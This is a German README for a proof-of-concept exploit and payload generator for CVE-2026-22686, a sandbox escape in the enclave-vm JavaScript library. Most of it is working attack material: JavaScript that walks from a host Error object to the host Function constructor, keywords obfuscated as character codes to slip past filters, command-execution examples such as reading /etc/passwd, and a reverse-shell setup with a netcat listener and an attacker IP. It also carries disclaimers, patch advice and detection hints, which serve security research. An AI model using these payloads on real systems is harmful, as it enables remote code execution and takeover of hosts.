Proof-of-Concept-Exploit und Payload-Generator für CVE-2026-22686, einen Sandbox-Escape in enclave-vm <2.7.0, der beliebige Codeausführung und Reverse Shells ermöglicht.
Ein Proof-of-Concept (PoC)-Exploit und Payload-Generator für CVE-2026-22686, eine kritische Sandbox-Escape-Schwachstelle in enclave-vm in Versionen vor 2.7.0, die die Ausführung beliebigen Codes innerhalb der Host-Node.js-Laufzeitumgebung ermöglicht.
⚠️ Haftungsausschluss: Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die Nutzung gegen Systeme ohne vorherige schriftliche Zustimmung ist illegal. Der Autor übernimmt keine Haftung für jeglichen Missbrauch.
enclave-vm ist eine JavaScript-Sandboxing-Bibliothek, die entwickelt wurde, um nicht vertrauenswürdigen Code sicher in einer kontrollierten Umgebung auszuführen. In Versionen < 2.7.0 ermöglicht ein Fehler in der Art und Weise, wie hostseitige Fehlerobjekte für die Sandbox verfügbar gemacht werden, einem Angreifer, die Prototypenkette zu durchlaufen und den Function-Konstruktor des Hosts zu erreichen, wodurch die Sandbox effektiv umgangen wird.
Dieses Repository enthält:
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Kritisch) |
| CWE | CWE-693 — Fehler des Schutzmechanismus |
| Komponente | enclave-vm |
| Betroffen | < 2.7.0 |
| Behoben in | 2.7.0 |
| Auswirkung | Sandbox-Escape → Ausführung beliebigen Codes (RCE) |
Wenn ein sandboxed Tool-Aufruf fehlschlägt, gibt enclave-vm das hostseitige Error-Objekt an den sandboxed Code zurück. Da dieses Fehlerobjekt seine ursprüngliche Prototypenkette aus der Host-Umgebung beibehält, kann ein Angreifer die Kette wie folgt durchlaufen:
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
Sobald der Host-Function-Konstruktor erlangt wurde, kann der Angreifer beliebiges JavaScript in der Host-Laufzeitumgebung kompilieren und ausführen — wodurch die Sandbox vollständig umgangen wird.
Der Exploit folgt diesen Schritten:
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor zu erreichen, was die Function des Hosts ist.Function und ausführen.child_process und führt einen beliebigen Shell-Befehl aus (oder startet eine Reverse Shell).Alle sensiblen Schlüsselwörter (constructor, __proto__, __lookupGetter__, prototype) sind als ASCII-Zeichencodes obfuskiert, um naive statische Filter zu umgehen.
Keine externen Abhängigkeiten — verwendet nur die Python-Standardbibliothek.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
Voraussetzungen:
python3 generator.py
Sie werden aufgefordert:
Kopieren Sie dann die generierte Payload und fügen Sie sie in die verwundbare Sandbox-Eingabe ein.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
Terminal 1 (Angreifer — Listener):
nc -lvnp 4444
Terminal 2 (Generator):
python3 generator.py --revshell 10.10.15.152 4444
Kopieren Sie die resultierende Payload und fügen Sie sie in die Sandbox ein. Sie sollten eine Shell in Terminal 1 erhalten.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| Flag | Beschreibung |
|---|---|
-c, --command | Auszuführender Shell-Befehl |
--revshell LHOST LPORT | Reverse-Shell-Payload generieren |
--raw | Nur die Payload ausgeben (kein Banner, keine Dekoration) |
--lang {fr,en} | Sprache der Oberfläche erzwingen |
-h, --help | Hilfe und Beispiele anzeigen |
const s = (...args) => String.fromCharCode(...args);
Ein kleiner Helfer, um ASCII-Code-Arrays zur Laufzeit zu dekodieren.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
Vermeidet triviale stringbasierte Filter.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
Die Host-Function wird dann verwendet, um den Befehl des Angreifers über child_process.execSync() auszuführen.
Für Entwickler:
enclave-vm auf >= 2.7.0.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).Für Benutzer / Organisationen:
Erkennung:
Achten Sie auf HTTP-Anfragen oder Code-Übermittlungen, die callTool('NONEXISTENT', __lookupGetter__, lange Arrays von kommagetrennten Integer-Literalen oder child_process / execSync enthalten.
Dieses Projekt wird ausschließlich für Bildungszwecke und defensive Sicherheitsforschung veröffentlicht. Es ist für Sicherheitsforscher, autorisierte Penetrationstester und CTF-Spieler gedacht.
Verwenden Sie dieses Tool nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal (CFAA in den USA, Computer Misuse Act im Vereinigten Königreich, Artikel 323-1 in Frankreich) und kann zu schweren strafrechtlichen Konsequenzen führen.
Durch die Nutzung dieser Software erklären Sie sich damit einverstanden, dass der Autor nicht verantwortlich ist für Schäden oder rechtliche Konsequenzen, die sich aus ihrer Verwendung ergeben.
Dieses Projekt ist unter der MIT-Lizenz lizenziert — siehe die LICENSE-Datei für Details.
enclave-vm-Maintainer für die verantwortungsvolle Offenlegung und den FixPull Requests sind willkommen. Für größere Änderungen öffnen Sie bitte zuerst ein Issue.
Vorgeschlagene Verbesserungen:
vm2, isolated-vm)